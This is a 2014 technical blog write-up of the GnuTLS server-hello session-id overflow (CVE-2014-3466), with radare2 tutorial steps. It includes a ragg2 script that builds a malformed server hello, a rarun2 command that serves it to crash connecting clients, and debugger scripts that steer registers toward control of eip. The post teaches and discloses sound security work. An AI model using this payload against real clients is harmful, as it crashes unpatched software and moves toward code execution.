Technical Analysis Of The GnuTLS Hello Vulnerability

June 1, 2014

This past friday I checked out the gnutls repository and noticed a commit done two weeks ago:

2014-05-23 19:50 Nikos Mavrogiannopoulos <nmav@gnutls.org>

Prevent memory corruption due to server hello parsing.

The patch adds a second check to verify the boundary of the session id size.

- if (len < session_id_len) {
+ if (len < session_id_len || session_id_len > TLS_MAX_SESSION_ID_SIZE) {

The memory corruption keywords triggered my attention, and just 6 days later there’s another funny commit:

2014-05-29 19:11 Nikos Mavrogiannopoulos <nmav@gnutls.org>

Added test for memory corruption issue in server hello.

This test case is in fact a PoC that implements a test program that makes the library crash exploiting this vulnerability. Right after that commit a new version of GnuTLS was bumped and released to the public. The GnuTLS website provides a link to the CVE 2014-3466. Which has been assigned, but not yet filled.

The test program is quite explicit in the way to exploit that bug, it only requires to build up a single buffer that is sent by the server and will make clients crash when connecting.

UPDATE: Looks like the commits were done two weeks ago but not published into the repository until the release was done. Read this comment for more information.

Quick overview

In order to test that vulnerability I choose to run a 32bit VoidLinux Virtualbox VM, fetched the r2 source from git, and executed the GnuTLS binaries against the system libs. This way, switching between the fixed and vulnerable executions can be done by changing the LD_LIBRARY_PATH environment.

It’s recommended to use r2 from git: read this post to install r2 in your system.

A quick check on all the packages that depend on GnuTLS shows some hints of which client software is vulnerable to this issue.

$ echo `xbps-query -RX gnutls | cut -d - -f1`
cups empathy glib filezilla gtk2 cups libvlc libvirt qemu rsyslog bitlbee telepathy xbmc weechat vino xen xombrero ...

UPDATE: Looks like there are more affected packages in Debian/Ubuntu distros:

$ apt-cache rdepends libgnutls26 | grep -v lib
Reverse Depends:
aiccu vino qemu-kvm exim4-daemon-light exim4-daemon-heavy cups xen-utils-4.1 wine1.4-amd64 vlc-nox rsyslog-gnutls qemu-system qemu-kvm-spice python-gnutls mutt-patched empathy-call chromium-browser aiccu vino telepathy-gabble qemu-kvm pacemaker ntfs-3g nautilus-sendto-empathy mutt lynx-cur gnutls-bin exim4-daemon-light exim4-daemon-heavy empathy cups xxxterm xfce4-mailwatch-plugin xen-utils-4.1 wzdftpd wmbiff wine1.4-amd64 weechat-curses weechat-core webfs vpnc vlc-nox shishi-kdc scrollz rsyslog-gnutls qutim qemu-system qemu-kvm-spice python-gnutls proxytunnel prelude-manager postal plasma-widget-mail pianobar pan pacemaker-mgmt-client pacemaker-mgmt openvas-server openvas-plugins-base nzbget ngircd mutt-patched msmtp-gnome msmtp mpop-gnome mpop minbif-webcam minbif mandos-client maki kildclient jd ircd-ratbox infinoted-0.5 gurlchecker gtk-gnutella gsasl gnu-smalltalk gnomint gkrellm freewheeling freetds-bin filezilla empathy-call elinks-lite elinks ekg2-remote ekg2-jabber echoping csync2 claws-mail charybdis centerim-utf8 centerim-fribidi centerim bitlbee aria2 anubis aiccu abiword vino telepathy-salut telepathy-gabble tdsodbc qemu-kvm pacemaker ntfs-3g nautilus-sendto-empathy mutt lynx-cur lftp gnutls-bin exim4-daemon-light exim4-daemon-heavy empathy cups

First we need to reproduce this issue in a way that we can debug it, the simplest way to do this is by patching the test program. Negating the fork condition will make the crash appear in the parent process instead of the children.

- if (child) {
+ if (!child) {

Then we will have to comment the kill(child,SIGTERM) line to avoid a parricide.

Now, we are ready to run the long-session-id test under valgrind to get a quick view of the issue:

$ ./long-session-id
Segmentation fault (core dumped)

$ valgrind ./long-session-id
==476== Memcheck, a memory error detector
==476== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==476== Using Valgrind-3.9.0 and LibVEX; rerun with -h for copyright info
==476== Command: ./a.out
==476== 
==476== Invalid free() / delete / delete[] / realloc()
==476==    at 0x40292AC: free (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==476==    by 0x407B2FE: _gnutls_buffer_clear (in /usr/lib/libgnutls.so.28.36.2)
==476==    by 0x405E5A9: ??? (in /usr/lib/libgnutls.so.28.36.2)
==476==    by 0x4062EE1: gnutls_handshake (in /usr/lib/libgnutls.so.28.36.2)
==476==    by 0x8048E1A: client (in tests/a.out)
==476==    by 0x80491A2: start (in tests/a.out)
==476==    by 0x80492B7: main (in tests/a.out)
==476==  Address 0xFFFFFFFF is not stack'd, malloc'd or (recently) free'd
==476== 
client: Handshake failed (expected)
GnuTLS error: A TLS packet with unexpected length was received.

Looks like GNUTLS calls free with an user controlled pointer. Sadly, this doesn’t seems to be easily exploitable under latest glibc, but we will do a deeper analysis in order to understand the reasons and in the process learn some functionalities of r2. In this run, valgrind captures the invalid free and skips the crash, at first sight it looks like a heap overflow that triggers an invalid call to free.

Crash course

In the test case there is a memset of 255 bytes with the 0xff value. This is the buffer that overflows and we want to know at which offset of the payload the code is picking the pointer to free(). We can do this using a sequence instead of just a plain padding.

  • Sequence: 0102030405060708…
  • Padding: 4141414141414141…

So, instead of writing 0xff into the buffer we will write a sequence of bytes and we will read the value of ecx to determine the offset we have to use.

The ragg2 tool fits perfectly with this task, it’s a tool that allows to create shellcodes with payloads, nopsleds, sequences, paddings and more. We may recreate the buffer with this:

$ cat payload.sh
#!/bin/sh

TYPE=A # Fill with 'A'
TYPE=S # Create sequence

ragg2 \
-B 16 \
-B "03 00 01 25" \
-B "02 00 01 21" \
-B "03 00" \
-B 0000000001 -B 0000000001 -B 0000000001 \
-B 0000000001 -B 0000000001 -B 0000000001 \
-B 0000 \
-B fe \
-p ${TYPE}256 | rax2 -s -

The fe is the longest valid length to trigger the crash (ff is checked), Yes, session_id_length is defined by an unsigned byte, So that’s the maximum possible value for that case. At the end of the buffer we are appending a buffer of A or a sequence (uncomment the line).

Note the last command after the pipe. This is rax2 converting an hexpair list into a binary buffer. This way we can use it directly into a socket to crash the clients that are connecting to us. We can achieve this with rarun2:

$ rarun2 program=./payload.sh listen=8080

Then, in another terminal:

$ gnutls-cli -p 8080 localhost
Processed 168 CA certificate(s).
Resolving 'localhost'...
Connecting to 'localhost:8080'...
Segmentation fault (core dumped)

img

In order to get a quick overview of the crash I wrote a small r2 script that runs inside the debugger session and displays the registers, stack and some pointer arithmetics to determine the location of the affected pointer.

$ cat crashlog.r2
dc                 # continue execution
dr=                # show registers
.dr*               # import regstate
pd 10 @ eip        # disasm on eip
x 64 @ esp         # show stack state

$ r2 -i crashlog.r2 -d "gnutls-cli -p 8080 localhost"

img

Using that script we can easily see that ecx value is 0xa3a2a1a0 when running with TYPE=S, we must modify this dword to control where we want to go. The lower sequence byte in the value is 0xa0, this is the offset we want.

When we need to set a specific dword inside the offset (for example, in 0xa0), we may use the -d flag. Adding 44 to the offset (header size) and specifying the value.

$ ragg2 ... -d 0xa0+44:0x8048008 | rax2 -s -

Analyzing the crash

As long as r2 is a low level debugger, we will not see much C source references, and symbolic information may sometimes be not available. But this is not really a problem for most situations, and bear in mind that you can import this information using the i command or importing external scripts with ..

Once the crash happens, r2 prompts appears and we would like to go back some instructions to see the assembly code context and register state to understand why it’s crashing and which conditions do we need to exploit it.

Enter into the Visual mode by pressing V and then switch between the print modes with p and P until you get something like this:

img

Then use j and k keys to scroll up and down. What we observe here is there’s a call eax at the end of the function and this eax is constructed by following [ebx-0x98] and taking the value from the referenced pointer in that address.

img

We can see that the constructed pointer is relative to the program counter, this means that it’s probably located inside the same library (libc), but let’s verify this within the r2 shell:

# The hook address is relative to the load address of libc
> f hook=ebx-0x98
> dm@hook~*
sys 0xb7637000 * 0xb7639000 s r-- /usr/lib/libc-2.19.so

# Rabbit is placed in the libc's memory. And it points to the burrow
> f rabbit=`xw 4 @ hook~[1]`
> dm@rabbit~*
sys 0xb763a000 * 0xb763d000 s rw- unk3

# Not mapped, final pointer goes to NULL
> f burrow=`xw 4 @ rabbit~[1]`
> dm@burrow~*
> ?v burrow
0

This is.. if we found a write-what-where somewhere we can just overwrite this rabbit pointer with another to hold the address we want to jump.

Trojanizing the handler

As long as that pointer comes from the libc, we can trick the memory of the running process to make it spawn a shell or run the code we like by patching the pointer hold inside the ebx-0x98 cave. For this demo we will modify the libc’s heap. this is a read-write memory portion, so, if we find a write-what-where in the code this may be exploited by providing the proper payload.

$ cat memtrojan.r2
f carrot = `dm~rw- /usr/lib/libc[1]`
s carrot-0x98
f rabbit = `xw 1~[1]`
wx 41414141 @ rabbit

The script sets the carrot pointer at the first read write section of the libc and substracts 0x98. This offset is the static pointer that libc uses for retrieving the pointer to jump. In pseudocode:

carrot = findSection('libc','rw').offset
rabbit = 4[carrot-0x98]
4[rabbit] = 0x41414141

In one terminal run the following command to start the fake gnutls server:

$ rarun2 program=./payload.sh listen=8080 sleep=10

In the second terminal we do:

$ r2 -d "gnutls-cli -p 8080 localhost"

Inside the r2 prompt type dc to continue the execution of the program. It will connect, but will not crash inmediately, we have a gap of 10 seconds to press ^C and inspect the process.

At this point we may like to run dm to see the memory maps of the program, dr to view the registers or run pd to disassemble code.

> . memtrojan.r2
> dc

The program will crash at eip=0x41414141.

Other paths

As long as we control some registers, we can let the program flow to different paths or just bypass the conditionals to reach the desired path. For example, our first crash happens here:

mov ecx, [ecx-4]
test cl, 2
jne 0xb755638

As long as we control ecx modifying the 0xa0 byte of the payload. We can set a valid pointer to this address. This is for example 0x8048004. Let’s run again and see where it’s crashing.

Sometimes setting some pointers to NULL allows to bypass some checks, and other values just fall into a tgkill() syscall that aborts the execution of the program.

Analyzing the crash when the dword at 0xa0 we observe a second crash in the following code:

mov eax, [eax+4]
test eax, eax
jne 0xb76d152a

As long as we also control eax at this point. (the sequence trick tell us the offset is 0x4c) we just need to place a valid readable pointer to go further. We will set it to 0x8048000 because the program is not compiled with PIE, and the rest of mapped binaries in memory are PIC libraries which are affected by the ASLR.

For quick testing, r2 provides a way to change the value of the registers:

> dr eax=0x8048000

Running dc to continue the execution produces a different crash:

movzx edx, byte [eax+8]

eax is also controled by our buffer, so we can just use another valid read pointer to pass the check and reach the a crash in:

img

Few instructions before the crash we can observe a call eax. The conditions to reach the call eax are multiple, and this may take too much to fit in this post.

We can use dr eip=... to change the program counter or modify other registers and then type ds to simulate the execution. This is very useful when you want to make a demo of the steps you have to do to pass all the checks.

In Visual mode, the ds (debugger step) is done with the s key. Step-over with S. And type : to enter commands to interact with r2.

Locating the buffer

Another useful operation we would like to perform when analyzing a crash is to locate the place where our buffer is found. We can search for the ‘AAAAAAAA’ padding by using the following commands:

img

We seek to the very first writable section and start the search. By default it will look in the whole memory space, but it is possible to restrict the search to some boundaries or conditions. In this case we will disable the contiguous hits. This is because a padding will spawn too many uninteresting results.

img

We can identify the corresponding debugger maps where those pointers come from:

img

Let’s investigate why are some of those hits pretty close to each other… The pxa command will show an anotated hexdump highlighting flags and showing comments. We will display one of the hits (offsets differ, this is from a different run) and see that some dwords of our input have been overwritten.

img

To add a comment use the c key in visual mode to switch to cursor mode and move with hjkl then press ; to enter the comment.

Final notes

This post exposes some of the capatibilities for exploiting with r2 in a real vulnerability. The central topic moved from GnuTLS to libc heap and in the process explaining some of the basics of exploiting. The whole topic can be covered in several posts and it was out of the scope to provide a working exploit, but give some hints to understand how and why it breaks, and which are the implications.

Now, stop reading and upgrade your GnuTLS!

–pancake